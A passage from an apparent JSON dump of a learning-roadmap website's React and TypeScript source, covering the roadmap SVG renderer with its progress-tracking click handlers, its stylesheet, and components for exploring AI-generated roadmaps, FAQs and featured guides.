flex aspect-[var(--aspect-ratio)] w-full flex-col justify-center'\n        }\n      >\n        <div className=\"flex w-full justify-center\">\n          <Spinner\n            className=\"h-6 w-6 animate-spin sm:h-12 sm:w-12\"\n            isDualRing={false}\n          />\n        </div>\n      </div>\n    );\n  }\n\n  return (\n    <div\n      style={\n        !hasSwitchedRoadmap\n          ? ({\n              '--aspect-ratio': aspectRatio,\n            } as CSSProperties)\n          : undefined\n      }\n      className={\n        'mt-5 flex aspect-[var(--aspect-ratio)] w-full flex-col justify-center'\n      }\n    >\n      <EditorRoadmapRenderer\n        {...roadmapData}\n        dimensions={dimensions}\n        resourceId={resourceId}\n      />\n      {hasChat && <RoadmapFloatingChat roadmapId={resourceId} />}\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/EditorRoadmap/EditorRoadmapRenderer.css",
    "content": "svg text tspan {\n  -webkit-font-smoothing: antialiased;\n  -moz-osx-font-smoothing: grayscale;\n  text-rendering: optimizeSpeed;\n}\n\nsvg > g[data-type='topic'],\nsvg > g[data-type='subtopic'],\nsvg g[data-type='link-item'],\nsvg > g[data-type='button'],\nsvg > g[data-type='resourceButton'],\nsvg > g[data-type='todo-checkbox'],\nsvg > g[data-type='todo'],\nsvg > g[data-type='checklist'] > g[data-type='checklist-item'] > rect {\n  cursor: pointer;\n}\n\nsvg > g[data-type='topic']:hover > rect {\n  fill: var(--hover-color);\n}\n\nsvg > g[data-type='subtopic']:hover > rect {\n  fill: var(--hover-color);\n}\nsvg g[data-type='button']:hover,\nsvg g[data-type='link-item']:hover,\nsvg g[data-type='resourceButton']:hover,\nsvg g[data-type='todo-checkbox']:hover {\n  opacity: 0.8;\n}\n\nsvg g[data-type='checklist'] > g[data-type='checklist-item'] > rect:hover {\n  fill: #cbcbcb !important;\n}\n\nsvg .done rect {\n  fill: #cbcbcb !important;\n}\n\nsvg .done text,\nsvg .skipped text {\n  text-decoration: line-through;\n}\n\nsvg > g[data-type='topic'].learning > rect + text,\nsvg > g[data-type='topic'].done > rect + text {\n  fill: black;\n}\n\nsvg .done text[fill='#ffffff'] {\n  fill: black;\n}\n\nsvg > g[data-type='subtipic'].done > rect + text,\nsvg > g[data-type='subtipic'].learning > rect + text {\n  fill: #cbcbcb;\n}\n\nsvg .learning rect {\n  fill: #dad1fd !important;\n}\nsvg .learning text {\n  text-decoration: underline;\n}\n\nsvg .skipped rect {\n  fill: #496b69 !important;\n}\n"
  },
  {
    "path": "src/components/EditorRoadmap/EditorRoadmapRenderer.tsx",
    "content": "import './EditorRoadmapRenderer.css';\n\nimport { lazy, useCallback, useEffect, useRef } from 'react';\nimport {\n  renderResourceProgress,\n  updateResourceProgress,\n  type ResourceProgressType,\n  renderTopicProgress,\n  refreshProgressCounters,\n} from '../../lib/resource-progress';\nimport { pageProgressMessage } from '../../stores/page';\nimport { useToast } from '../../hooks/use-toast';\nimport type { Edge, Node } from '@roadmapsh/editor';\nimport { slugify } from '../../lib/slugger';\nimport { isLoggedIn } from '../../lib/jwt';\nimport { showLoginPopup } from '../../lib/popup';\n\nconst Renderer = lazy(() =>\n  import('@roadmapsh/editor').then((mod) => ({\n    default: mod.Renderer,\n  })),\n);\n\nexport type RoadmapRendererProps = {\n  resourceId: string;\n  nodes: Node[];\n  edges: Edge[];\n  dimensions: {\n    width: number;\n    height: number;\n  };\n};\n\ntype RoadmapNodeDetails = {\n  nodeId: string;\n  nodeType: string;\n  targetGroup: SVGElement;\n  title?: string;\n};\n\nfunction getNodeDetails(svgElement: SVGElement): RoadmapNodeDetails | null {\n  const targetGroup = (svgElement?.closest('g') as SVGElement) || {};\n\n  const nodeId = targetGroup?.dataset?.nodeId;\n  const nodeType = targetGroup?.dataset?.type;\n  const title = targetGroup?.dataset?.title;\n\n  if (!nodeId || !nodeType) {\n    return null;\n  }\n\n  return { nodeId, nodeType, targetGroup, title };\n}\n\nconst allowedNodeTypes = [\n  'topic',\n  'subtopic',\n  'button',\n  'link-item',\n  'resourceButton',\n  'todo',\n  'todo-checkbox',\n  'checklist-item',\n];\n\nexport function EditorRoadmapRenderer(props: RoadmapRendererProps) {\n  const { resourceId, nodes = [], edges = [] } = props;\n  const roadmapRef = useRef<HTMLDivElement>(null);\n\n  const toast = useToast();\n\n  async function updateTopicStatus(\n    topicId: string,\n    newStatus: ResourceProgressType,\n  ) {\n    pageProgressMessage.set('Updating progress');\n    updateResourceProgress(\n      {\n        resourceId,\n        resourceType: 'roadmap',\n        topicId,\n      },\n      newStatus,\n    )\n      .then(() => {\n        renderTopicProgress(topicId, newStatus);\n      })\n      .catch((err) => {\n        toast.error('Something went wrong, please try again.');\n        console.error(err);\n      })\n      .finally(() => {\n        pageProgressMessage.set('');\n        refreshProgressCounters();\n      });\n\n    return;\n  }\n\n  const handleSvgClick = useCallback((e: MouseEvent) => {\n    const target = e.target as SVGElement;\n    const { nodeId, nodeType, targetGroup, title } =\n      getNodeDetails(target) || {};\n\n    if (!nodeId || !nodeType || !allowedNodeTypes.includes(nodeType)) {\n      return;\n    }\n\n    if (\n      nodeType === 'button' ||\n      nodeType === 'link-item' ||\n      nodeType === 'resourceButton'\n    ) {\n      const link = targetGroup?.dataset?.link || '';\n      const isExternalLink = link.startsWith('http');\n      if (isExternalLink) {\n        window.open(link, '_blank');\n      } else {\n        window.location.href = link;\n      }\n      return;\n    }\n\n    const isCurrentStatusLearning = targetGroup?.classList.contains('learning');\n    const isCurrentStatusSkipped = targetGroup?.classList.contains('skipped');\n\n    if (nodeType === 'todo-checkbox') {\n      e.preventDefault();\n      if (!isLoggedIn()) {\n        showLoginPopup();\n        return;\n      }\n\n      const newStatus = targetGroup?.classList.contains('done')\n        ? 'pending'\n        : 'done';\n      updateTopicStatus(nodeId, newStatus);\n      return;\n    }\n\n    if (e.shiftKey) {\n      e.preventDefault();\n      if (!isLoggedIn()) {\n        showLoginPopup();\n        return;\n      }\n\n      updateTopicStatus(\n        nodeId,\n        isCurrentStatusLearning ? 'pending' : 'learning',\n      );\n      return;\n    } else if (e.altKey) {\n      e.preventDefault();\n      if (!isLoggedIn()) {\n        showLoginPopup();\n        return;\n      }\n\n      updateTopicStatus(nodeId, isCurrentStatusSkipped ? 'pending' : 'skipped');\n      return;\n    }\n\n    // for the click on rect of checklist-item\n    if (nodeType === 'checklist-item' && target.tagName === 'rect') {\n      e.preventDefault();\n      if (!isLoggedIn()) {\n        showLoginPopup();\n        return;\n      }\n\n      const newStatus = targetGroup?.classList.contains('done')\n        ? 'pending'\n        : 'done';\n      updateTopicStatus(nodeId, newStatus);\n      return;\n    }\n\n    if (nodeType === 'checklist-item' && (target.tagName === 'text' || target.tagName === 'tspan')) {\n      e.preventDefault();\n\n      const textElement = target.tagName === 'tspan' ? (target.closest('text') as SVGTextElement) : target;\n      const clickedText = textElement?.textContent?.trim();\n      if (!clickedText) {\n        return;\n      }\n\n      const parentChecklistId = targetGroup?.dataset?.parentId;\n      if (!parentChecklistId) {\n        return;\n      }\n\n      const parentChecklistGroup = roadmapRef.current?.querySelector(\n        `g[data-node-id=\"${parentChecklistId}\"][data-type=\"checklist\"]`\n      );\n      if (!parentChecklistGroup) {\n        return;\n      }\n\n      const labelGroup = parentChecklistGroup.querySelector(\n        'g[data-type=\"checklist-label\"]'\n      );\n      if (!labelGroup) {\n        return;\n      }\n\n      const labelText = labelGroup.querySelector('text')?.textContent?.trim();\n      if (!labelText) {\n        return;\n      }\n\n      window.dispatchEvent(\n        new CustomEvent('roadmap.checklist.click', {\n          detail: {\n            roadmapId: resourceId,\n            labelText,\n            clickedText,\n          },\n        }),\n      );\n      return;\n    }\n\n    // we don't have the topic popup for checklist-item\n    if (nodeType === 'checklist-item') {\n      return;\n    }\n\n    if (!title) {\n      return;\n    }\n\n    const detailsPattern = `${slugify(title)}@${nodeId}`;\n    window.dispatchEvent(\n      new CustomEvent('roadmap.node.click', {\n        detail: {\n          topicId: detailsPattern,\n          resourceId,\n          resourceType: 'roadmap',\n        },\n      }),\n    );\n  }, []);\n\n  const handleSvgRightClick = useCallback((e: MouseEvent) => {\n    e.preventDefault();\n\n    const target = e.target as SVGElement;\n    const { nodeId, nodeType, targetGroup } = getNodeDetails(target) || {};\n    if (!nodeId || !nodeType || !allowedNodeTypes.includes(nodeType)) {\n      return;\n    }\n\n    if (nodeType === 'button') {\n      return;\n    }\n\n    if (!isLoggedIn()) {\n      showLoginPopup();\n      return;\n    }\n    const isCurrentStatusDone = targetGroup?.classList.contains('done');\n    updateTopicStatus(nodeId, isCurrentStatusDone ? 'pending' : 'done');\n  }, []);\n\n  useEffect(() => {\n    if (!roadmapRef?.current) {\n      return;\n    }\n    roadmapRef?.current?.addEventListener('click', handleSvgClick);\n    roadmapRef?.current?.addEventListener('contextmenu', handleSvgRightClick);\n\n    return () => {\n      roadmapRef?.current?.removeEventListener('click', handleSvgClick);\n      roadmapRef?.current?.removeEventListener(\n        'contextmenu',\n        handleSvgRightClick,\n      );\n    };\n  }, []);\n\n  return (\n    <Renderer\n      ref={roadmapRef}\n      roadmap={{ nodes, edges }}\n      onRendered={() => {\n        roadmapRef.current?.setAttribute('data-renderer', 'editor');\n        renderResourceProgress('roadmap', resourceId).finally();\n      }}\n    />\n  );\n}\n"
  },
  {
    "path": "src/components/ExploreAIRoadmap/AIRoadmapsList.tsx",
    "content": "import type { AIRoadmapDocument } from './ExploreAIRoadmap.tsx';\nimport { Eye } from 'lucide-react';\nimport { getRelativeTimeString } from '../../lib/date.ts';\n\nexport type ExploreRoadmapsResponse = {\n  data: AIRoadmapDocument[];\n  totalCount: number;\n  totalPages: number;\n  currPage: number;\n  perPage: number;\n};\n\ntype AIRoadmapsListProps = {\n  response: ExploreRoadmapsResponse | null;\n};\n\nexport function AIRoadmapsList(props: AIRoadmapsListProps) {\n  const { response } = props;\n\n  if (!response) {\n    return null;\n  }\n\n  const roadmaps = response.data || [];\n\n  return (\n    <ul className=\"mb-4 grid grid-cols-1 gap-2 sm:grid-cols-2 lg:grid-cols-3\">\n      {roadmaps.map((roadmap) => {\n        const roadmapLink = `/ai-roadmaps/${roadmap.slug}`;\n\n        return (\n          <a\n            key={roadmap._id}\n            href={roadmapLink}\n            className=\"flex min-h-[95px] flex-col rounded-md border transition-colors hover:bg-gray-100\"\n            target={'_blank'}\n          >\n            <h2 className=\"grow px-2.5 py-2.5 text-base font-medium leading-tight\">\n              {roadmap.title}\n            </h2>\n            <div className=\"flex items-center justify-between gap-2 px-2.5 py-2\">\n              <span className=\"flex items-center gap-1.5 text-xs text-gray-400\">\n                <Eye size={15} className=\"inline-block\" />\n                {Intl.NumberFormat('en-US', {\n                  notation: 'compact',\n                }).format(roadmap.viewCount)}{' '}\n                views\n              </span>\n              <span className=\"flex items-center gap-1.5 text-xs text-gray-400\">\n                {getRelativeTimeString(String(roadmap?.createdAt))}\n              </span>\n            </div>\n          </a>\n        );\n      })}\n    </ul>\n  );\n}\n"
  },
  {
    "path": "src/components/ExploreAIRoadmap/EmptyRoadmaps.tsx",
    "content": "import { Map, Wand2 } from 'lucide-react';\n\nexport function EmptyRoadmaps() {\n  return (\n    <div className=\"flex min-h-[250px] flex-col items-center justify-center rounded-xl border px-5 py-3 sm:px-0 sm:py-20\">\n      <Wand2 className=\"mb-4 h-8 w-8 opacity-10 sm:h-14 sm:w-14\" />\n      <h2 className=\"mb-1 text-lg font-semibold sm:text-xl\">\n        No Roadmaps Found\n      </h2>\n      <p className=\"mb-3 text-balance text-center text-xs text-gray-800 sm:text-sm\">\n        Try searching for something else or create a new roadmap with AI.\n      </p>\n      <div className=\"flex flex-col items-center gap-1 sm:flex-row sm:gap-1.5\">\n        <a\n          href=\"/ai-roadmaps\"\n          className=\"flex w-full items-center gap-1.5 rounded-md bg-gray-900 px-3 py-1.5 text-xs text-white sm:w-auto sm:text-sm\"\n        >\n          <Wand2 className=\"h-4 w-4\" />\n          Create one with AI\n        </a>\n        <a\n          href=\"/roadmaps\"\n          className=\"flex w-full items-center gap-1.5 rounded-md bg-yellow-400 px-3 py-1.5 text-xs text-black hover:bg-yellow-500 sm:w-auto sm:text-sm\"\n        >\n          <Map className=\"h-4 w-4\" />\n          Visit Official Roadmaps\n        </a>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/ExploreAIRoadmap/ExploreAIRoadmap.tsx",
    "content": "import { useEffect, useState } from 'react';\nimport { useToast } from '../../hooks/use-toast';\nimport { httpGet } from '../../lib/http';\nimport { AIRoadmapAlert } from '../GenerateRoadmap/AIRoadmapAlert.tsx';\nimport { ExploreAISorting, type SortByValues } from './ExploreAISorting.tsx';\nimport {\n  deleteUrlParam,\n  getUrlParams,\n  setUrlParams,\n} from '../../lib/browser.ts';\nimport { Pagination } from '../Pagination/Pagination.tsx';\nimport { LoadingRoadmaps } from './LoadingRoadmaps.tsx';\nimport { EmptyRoadmaps } from './EmptyRoadmaps.tsx';\nimport { AIRoadmapsList } from './AIRoadmapsList.tsx';\nimport { ExploreAISearch } from './ExploreAISearch.tsx';\n\nexport interface AIRoadmapDocument {\n  _id?: string;\n  term: string;\n  title: string;\n  data: string;\n  slug: string;\n  viewCount: number;\n  createdAt: Date;\n  updatedAt: Date;\n}\n\ntype ExploreRoadmapsResponse = {\n  data: AIRoadmapDocument[];\n  totalCount: number;\n  totalPages: number;\n  currPage: number;\n  perPage: number;\n};\n\ntype QueryParams = {\n  q?: string;\n  s?: SortByValues;\n  p?: string;\n};\n\ntype PageState = {\n  searchTerm: string;\n  sortBy: SortByValues;\n  currentPage: number;\n};\n\nexport function ExploreAIRoadmap() {\n  const toast = useToast();\n\n  const [pageState, setPageState] = useState<PageState>({\n    searchTerm: '',\n    sortBy: 'createdAt',\n    currentPage: 0,\n  });\n\n  useEffect(() => {\n    const queryParams = getUrlParams() as QueryParams;\n\n    setPageState({\n      searchTerm: queryParams.q || '',\n      sortBy: queryParams.s || 'createdAt',\n      currentPage: +(queryParams.p || '1'),\n    });\n  }, []);\n\n  useEffect(() => {\n    setIsLoading(true);\n    if (!pageState.currentPage) {\n      return;\n    }\n\n    // only set the URL params if the user modified anything\n    if (\n      pageState.currentPage !== 1 ||\n      pageState.searchTerm !== '' ||\n      pageState.sortBy !== 'createdAt'\n    ) {\n      setUrlParams({\n        q: pageState.searchTerm,\n        s: pageState.sortBy,\n        p: String(pageState.currentPage),\n      });\n    } else {\n      deleteUrlParam('q');\n      deleteUrlParam('s');\n      deleteUrlParam('p');\n    }\n\n    loadAIRoadmaps(\n      pageState.currentPage,\n      pageState.searchTerm,\n      pageState.sortBy,\n    ).finally(() => {\n      setIsLoading(false);\n    });\n  }, [pageState]);\n\n  const [isLoading, setIsLoading] = useState(true);\n  const [roadmapsResponse, setRoadmapsResponse] =\n    useState<ExploreRoadmapsResponse | null>(null);\n\n  const loadAIRoadmaps = async (\n    currPage: number = 1,\n    searchTerm: string = '',\n    sortBy: SortByValues = 'createdAt',\n  ) => {\n    const { response, error } = await httpGet<ExploreRoadmapsResponse>(\n      `${import.meta.env.PUBLIC_API_URL}/v1-list-ai-roadmaps`,\n      {\n        currPage,\n        ...(searchTerm && { term: searchTerm }),\n        ...(sortBy && { sortBy }),\n      },\n    );\n\n    if (error || !response) {\n      toast.error(error?.message || 'Something went wrong');\n      return;\n    }\n\n    setRoadmapsResponse(response);\n  };\n\n  const roadmaps = roadmapsResponse?.data || [];\n\n  const loadingIndicator = isLoading && <LoadingRoadmaps />;\n  const emptyRoadmaps = !isLoading && roadmaps.length === 0 && (\n    <EmptyRoadmaps />\n  );\n\n  const roadmapsList = !isLoading && roadmaps.length > 0 && (\n    <>\n      <AIRoadmapsList response={roadmapsResponse} />\n      <Pagination\n        currPage={roadmapsResponse?.currPage || 1}\n        totalPages={roadmapsResponse?.totalPages || 1}\n        perPage={roadmapsResponse?.perPage || 0}\n        isDisabled={isLoading}\n        totalCount={roadmapsResponse?.totalCount || 0}\n        onPageChange={(page) => {\n          setPageState({\n            ...pageState,\n            currentPage: page,\n          });\n        }}\n      />\n    </>\n  );\n\n  return (\n    <section className=\"container mx-auto py-3 sm:py-6\">\n      <AIRoadmapAlert isListing />\n\n      <div className=\"my-3.5 flex items-stretch justify-between gap-2.5\">\n        <ExploreAISearch\n          total={roadmapsResponse?.totalCount || 0}\n          isLoading={isLoading}\n          value={pageState.searchTerm}\n          onSubmit={(term: string) => {\n            setPageState({\n              ...pageState,\n              searchTerm: term,\n              currentPage: 1,\n            });\n          }}\n        />\n\n        <ExploreAISorting\n          sortBy={pageState.sortBy}\n          onSortChange={(sortBy) => {\n            setPageState({\n              ...pageState,\n              sortBy,\n              currentPage: 1,\n            });\n          }}\n        />\n      </div>\n\n      {loadingIndicator}\n      {emptyRoadmaps}\n      {roadmapsList}\n    </section>\n  );\n}\n"
  },
  {
    "path": "src/components/ExploreAIRoadmap/ExploreAISearch.tsx",
    "content": "import { Search } from 'lucide-react';\nimport { useEffect, useState } from 'react';\nimport { useDebounceValue } from '../../hooks/use-debounce.ts';\nimport { Spinner } from '../ReactIcons/Spinner.tsx';\n\ntype ExploreAISearchProps = {\n  value: string;\n  total: number;\n  isLoading: boolean;\n  onSubmit: (search: string) => void;\n};\n\nexport function ExploreAISearch(props: ExploreAISearchProps) {\n  const { onSubmit, isLoading = false, total, value: defaultValue } = props;\n\n  const [term, setTerm] = useState(defaultValue);\n  const debouncedTerm = useDebounceValue(term, 500);\n\n  useEffect(() => {\n    setTerm(defaultValue);\n  }, [defaultValue]);\n\n  useEffect(() => {\n    if (debouncedTerm && debouncedTerm.length < 3) {\n      return;\n    }\n\n    if (debouncedTerm === defaultValue) {\n      return;\n    }\n\n    onSubmit(debouncedTerm);\n  }, [debouncedTerm]);\n\n  return (\n    <div className=\"relative flex w-full items-center gap-3\">\n      <div className=\"relative flex w-full max-w-[310px] items-center\">\n        <label\n          className=\"absolute left-3 flex h-full items-center text-gray-500\"\n          htmlFor=\"search\"\n        >\n          <Search className=\"h-4 w-4\" />\n        </label>\n        <input\n          id=\"search\"\n          name=\"search\"\n          type=\"text\"\n          placeholder=\"Type 3 or more characters to search...\"\n          className=\"w-full rounded-md border border-gray-200 px-3 py-2 pl-9 text-sm transition-colors focus:border-black focus:outline-hidden\"\n          value={term}\n          onChange={(e) => setTerm(e.target.value)}\n        />\n        {isLoading && (\n          <span className=\"absolute right-3 top-0 flex h-full items-center text-gray-500\">\n            <Spinner isDualRing={false} className={`h-3 w-3`} />\n          </span>\n        )}\n      </div>\n      {total > 0 && (\n        <p className=\"shrink-0 text-sm text-gray-500 hidden sm:block\">\n          {Intl.NumberFormat('en-US', {\n            notation: 'compact',\n          }).format(total)}{' '}\n          results found\n        </p>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/ExploreAIRoadmap/ExploreAISorting.tsx",
    "content": "import { Check, ChevronDown } from 'lucide-react';\nimport { useRef, useState } from 'react';\nimport { useOutsideClick } from '../../hooks/use-outside-click';\n\nexport type SortByValues = 'viewCount' | 'createdAt' | '-createdAt';\nconst sortingLabels: { label: string; value: SortByValues }[] = [\n  {\n    label: 'Most Viewed',\n    value: 'viewCount',\n  },\n  {\n    label: 'Newest',\n    value: 'createdAt',\n  },\n  {\n    label: 'Oldest',\n    value: '-createdAt',\n  },\n];\n\ntype ExploreAISortingProps = {\n  sortBy: SortByValues;\n  onSortChange: (sortBy: SortByValues) => void;\n};\n\nexport function ExploreAISorting(props: ExploreAISortingProps) {\n  const { sortBy, onSortChange } = props;\n\n  const [isOpen, setIsOpen] = useState(false);\n  const dropdownRef = useRef(null);\n\n  const selectedValue = sortingLabels.find((item) => item.value === sortBy);\n\n  useOutsideClick(dropdownRef, () => {\n    setIsOpen(false);\n  });\n\n  return (\n    <div\n      className=\"min-auto relative flex shrink-0 sm:min-w-[140px]\"\n      ref={dropdownRef}\n    >\n      <button\n        className=\"flex w-full items-center justify-between gap-2 rounded-md border px-2 text-sm\"\n        onClick={() => setIsOpen(!isOpen)}\n      >\n        <span>{selectedValue?.label}</span>\n\n        <span>\n          <ChevronDown className=\"ml-4 h-3.5 w-3.5\" />\n        </span>\n      </button>\n\n      {isOpen && (\n        <div className=\"absolute top-10 right-0 z-10 min-w-40 overflow-hidden rounded-md border border-gray-200 bg-white shadow-lg\">\n          {sortingLabels.map((item) => (\n            <button\n              key={item.value}\n              className=\"flex w-full items-center gap-2 px-4 py-2 text-sm hover:bg-gray-100\"\n              onClick={() => {\n                onSortChange(item.value);\n                setIsOpen(false);\n              }}\n            >\n              <span>{item.label}</span>\n              {item.value === sortBy && <Check className=\"ml-auto h-4 w-4\" />}\n            </button>\n          ))}\n        </div>\n      )}\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/ExploreAIRoadmap/LoadingRoadmaps.tsx",
    "content": "export function LoadingRoadmaps() {\n  return (\n    <ul className=\"grid grid-cols-1 gap-2 sm:grid-cols-2 lg:grid-cols-3\">\n      {new Array(21).fill(0).map((_, index) => (\n        <li\n          key={index}\n          className=\"h-[175px] animate-pulse rounded-md border bg-gray-200\"\n        />\n      ))}\n    </ul>\n  );\n}\n"
  },
  {
    "path": "src/components/FAQs/FAQs.tsx",
    "content": "import { useState } from 'react';\nimport type { OfficialRoadmapQuestion } from '../../queries/official-roadmap';\nimport { Question } from './Question';\nimport { guideRenderer } from '../../lib/guide-renderer';\n\ntype FAQsProps = {\n  faqs: OfficialRoadmapQuestion[];\n};\n\nexport function FAQs(props: FAQsProps) {\n  const { faqs } = props;\n  if (faqs.length === 0) {\n    return null;\n  }\n\n  const [activeQuestionIndex, setActiveQuestionIndex] = useState(0);\n\n  return (\n    <div className=\"mt-8 border-t bg-gray-100\">\n      <div className=\"container\">\n        <div className=\"relative -top-5 flex justify-between\">\n          <h2 className=\"rounded-md border bg-white px-3 py-1 text-sm font-medium sm:text-base\">\n            Frequently Asked Questions\n          </h2>\n        </div>\n\n        <div className=\"flex flex-col gap-1 pb-14\">\n          {faqs.map((faq, questionIndex) => {\n            const isTextDescription =\n              typeof faq?.description === 'string' &&\n              faq?.description?.length > 0;\n\n            return (\n              <Question\n                key={faq._id}\n                isActive={questionIndex === activeQuestionIndex}\n                question={faq.title}\n                onClick={() => setActiveQuestionIndex(questionIndex)}\n              >\n                <div\n                  className=\"text-md rounded-br-md rounded-bl-md border-t border-t-gray-300 bg-gray-100 p-2 text-left text-sm leading-relaxed text-gray-800 sm:p-4 sm:text-base [&>p:not(:last-child)]:mb-3 [&>p>a]:text-blue-700 [&>p>a]:underline\"\n                  {...(isTextDescription\n                    ? {\n                        dangerouslySetInnerHTML: {\n                          __html: faq.description,\n                        },\n                      }\n                    : {})}\n                >\n                  {!isTextDescription\n                    ? guideRenderer.render(faq.description)\n                    : null}\n                </div>\n              </Question>\n            );\n          })}\n        </div>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/FAQs/Question.tsx",
    "content": "import { cn } from '../../lib/classname';\nimport { ChevronDownIcon } from '../ReactIcons/ChevronDownIcon';\n\ntype QuestionProps = {\n  question: string;\n  isActive?: boolean;\n  children: React.ReactNode;\n  onClick?: () => void;\n};\n\nexport function Question(props: QuestionProps) {\n  const { question, isActive = false, children, onClick } = props;\n\n  return (\n    <div className=\"faq-item rounded-md border border-gray-300 bg-white hover:bg-gray-50\">\n      <button\n        className=\"flex w-full flex-row items-center justify-between p-2 sm:p-3\"\n        onClick={onClick}\n      >\n        <span className=\"text-left text-sm font-medium sm:text-base\">\n          {question}\n        </span>\n        <ChevronDownIcon className=\"hidden h-3.5 stroke-[3] text-gray-400 sm:block\" />\n      </button>\n\n      {isActive && <div className={cn('answer')}>{children}</div>}\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/FeatureAnnouncement.tsx",
    "content": "import { useState } from 'react';\nimport { Modal } from './Modal.tsx';\nimport {PartyPopper, Play, PlayCircle} from 'lucide-react';\nimport { isMobileScreen } from '../lib/is-mobile.ts';\n\ntype FeatureAnnouncementProps = {};\n\nexport function FeatureAnnouncement(props: FeatureAnnouncementProps) {\n  return null;\n  return (\n    <>\n      <a\n        className=\"rounded-md border border-dashed border-purple-600 px-3 py-1.5 text-purple-400 transition-colors hover:border-purple-400 hover:text-purple-200\"\n        href=\"/courses/sql\"\n      >\n        <span className=\"relative sm:-top-[1px] mr-1 text-xs font-semibold uppercase text-white\">\n          <PartyPopper className=\"inline-block h-4 w-4 relative -top-[2px] mr-1\" />\n          Courses\n        </span>{' '}\n        <span className={'hidden sm:inline'}>\n          Our first paid course about SQL is now live!\n        </span>\n        <span className={'inline text-sm sm:hidden'}>\n          Our SQL course is now live!\n        </span>\n      </a>\n    </>\n  );\n}\n"
  },
  {
    "path": "src/components/FeaturedGuides/FeaturedGuideList.tsx",
    "content": "import type { OfficialGuideDocument } from '../../queries/official-guide';\nimport { GuideListItem } from './GuideListItem';\n\nexport interface FeaturedGuidesProps {\n  heading: string;\n  guides: OfficialGuideDocument[];\n  questions: OfficialGuideDocument[];\n}\n\nexport function FeaturedGuideList(props: FeaturedGuidesProps) {\n  const { heading, guides, questions = [] } = props;\n\n  const sortedGuides = [...guides, ...questions].sort((a, b) => {\n    const aDate = new Date(a.publishedAt ?? new Date());\n    const bDate = new Date(b.publishedAt ?? new Date());\n\n    return bDate.getTime() - aDate.getTime();\n  });\n\n  return (\n    <div className=\"container\">\n      <h2 className=\"block text-2xl font-bold sm:text-3xl\">{heading}</h2>\n\n      <div className=\"mt-3 sm:my-5\">\n        {sortedGuides.map((guide) => (\n          <GuideListItem key={guide._id} guide={guide} />\n        ))}\n      </div>\n\n      <a\n        href=\"/guides\"\n        className=\"hidden rounded-full bg-linear-to-r from-slate-600 to-black px-3 py-2 text-xs font-medium text-white transition-colors hover:from-blue-600 hover:to-blue-800 sm:inline\"\n      >\n        View All Guides &rarr;\n      </a>\n\n      <div className=\"mt-3 block sm:hidden\">\n        <a\n          href=\"/guides\"\n          className=\"font-regular block rounded-md border border-black p-2 text-center text-sm text-black hover:bg-black hover:text-gray-50\"\n        >\n          View All Guides &nbsp;&rarr;\n        </a>\n      </div>\n    </div>\n  );\n}\n"
  },
  {
    "path": "src/components/FeaturedGuides/GuideListItem.tsx",
    "content": "import { DateTime } from 'luxon';\nimport {\n  getOfficialGuideHref,\n  type OfficialGuideDocument,\n} from '../../queries/official-guide';\n\nexport interface GuideListItemProps {\n  guide: OfficialGuideDocument;\n}\n\nexport function GuideListItem(props: GuideListItemProps) {\n  const { guide } = props;\n  const { title, slug, publishedAt, roadmapId } = guide;\n\n  let guideType = 'Textual';\n  if (roadmapId === 'questions') {\n    guideType = 'Question';\n  }\n\n  const publishedAtDate = publishedAt\n    ? DateTime.fromJSDate(new Date(publishedAt))\n    : null;\n\n  const isNew =\n    publishedAtDate && DateTime.now().diff(publishedAtDate, 'days').days < 15;\n  const publishedAtMonth = publishedAtDate\n    ? publishedAtDate.toFormat('MMMM')\n    : '';\n\n  return (\n    <a\n      className=\"text-md group flex items-center justify-between border-b py-2 text-gray-600 no-underline hover:text-blue-600\"\n      href={getOfficialGuideHref(slug, roadmapId)}\n    >\n      <span className=\"text-sm transition-transform group-hover:translate-x-2 md:text-base\">\n        {title}\n\n        {isNew && (\n          <span className=\"ml-2.5 rounded-xs bg-green-300 px-1.5 py-0.5 text-xs font-medium text-green-900 uppercase\">\n            New\n            <span className=\"hidden sm:inline\">\n              &nbsp;&middot;&nbsp;\n              {publishedAtMonth}\n            </span>\n          </span>\n        )}\n      </span>\n      <span className=\"hidden text-xs text-gray-500 capitalize sm:block\">\n        {guideType}\n      </span>\n\n      <span className=\"block text-xs text-gray-400 sm:hidden\"> &raquo;</span>\n    </a>\n  );\n}\n"
  },
  {
    "path": "src/components/FeaturedItems/FavoriteIcon.tsx",
    "content": "type FavoriteIconProps = {\n  isFavorite?: boolean;\n};\n\nexport function FavoriteIcon(props: FavoriteIconProps) {\n  const { isFavorite } = props;\n\n  if (!isFavorite) {\n    return (\n      <svg\n        width=\"8\"\n        height=\"10\"\n        viewBox=\"0 0 8 10\"\n        fill=\"none\"\n        className=\"h-3.5 w-3.5\"\n        xmlns=\"http://www.w3.org/2000/svg\"\n      >\n        <path\n          fillRule=\"evenodd\"\n          clipRule=\"evenodd\"\n          d=\"M5.93682 0.5H2.06282C1.63546 0.500094 1.22423 0.663195 0.912987 0.956045C0.601741 1.2489 0.413919 1.64944 0.387822 2.076L0.00182198 8.461C-0.012178 8.6905 0.0548218 8.9185 0.191822 9.104L0.242322 9.1665C0.575322 9.5485 1.15132 9.6165 1.56582 9.31L3.99982 7.5115L6.43382 9.31C6.58413 9.42115 6.76305 9.48708 6.94954 9.50006C7.13603 9.51303 7.32235 9.4725 7.4866 9.38323C7.65085 9.29397 7.78621 9.15967 7.87677 8.99613C7.96733 8.83258 8.00932 8.64659 7.99782 8.46L7.61232 2.0765C7.58622 1.64981 7.39835 1.24914 7.08701 0.956192C6.77567 0.663248 6.36431 0.500094 5.93682 0.5ZM5.93682 1.25C6.42732 1.25 6.83382 1.632 6.86382 2.122L7.24932 8.506C7.25216 8.55018 7.24229 8.59425 7.22089 8.63301C7.19949 8.67176 7.16745 8.70359 7.12854 8.72472C7.08964 8.74585 7.0455 8.75542 7.00134 8.75228C6.95718 8.74914 6.91484 8.73343 6.87932 8.707L4.27582 6.783C4.19591 6.72397 4.09917 6.69211 3.99982 6.69211C3.90047 6.69211 3.80373 6.72397 3.72382 6.783L1.11982 8.707C1.0843 8.73343 1.04196 8.74914 0.9978 8.75228C0.953639 8.75542 0.909502 8.74585 0.8706 8.72472C0.831697 8.70359 0.799653 8.67176 0.778252 8.63301C0.756851 8.59425 0.746986 8.55018 0.749822 8.506L1.13632 2.122C1.16632 1.632 1.57232 1.25 2.06282 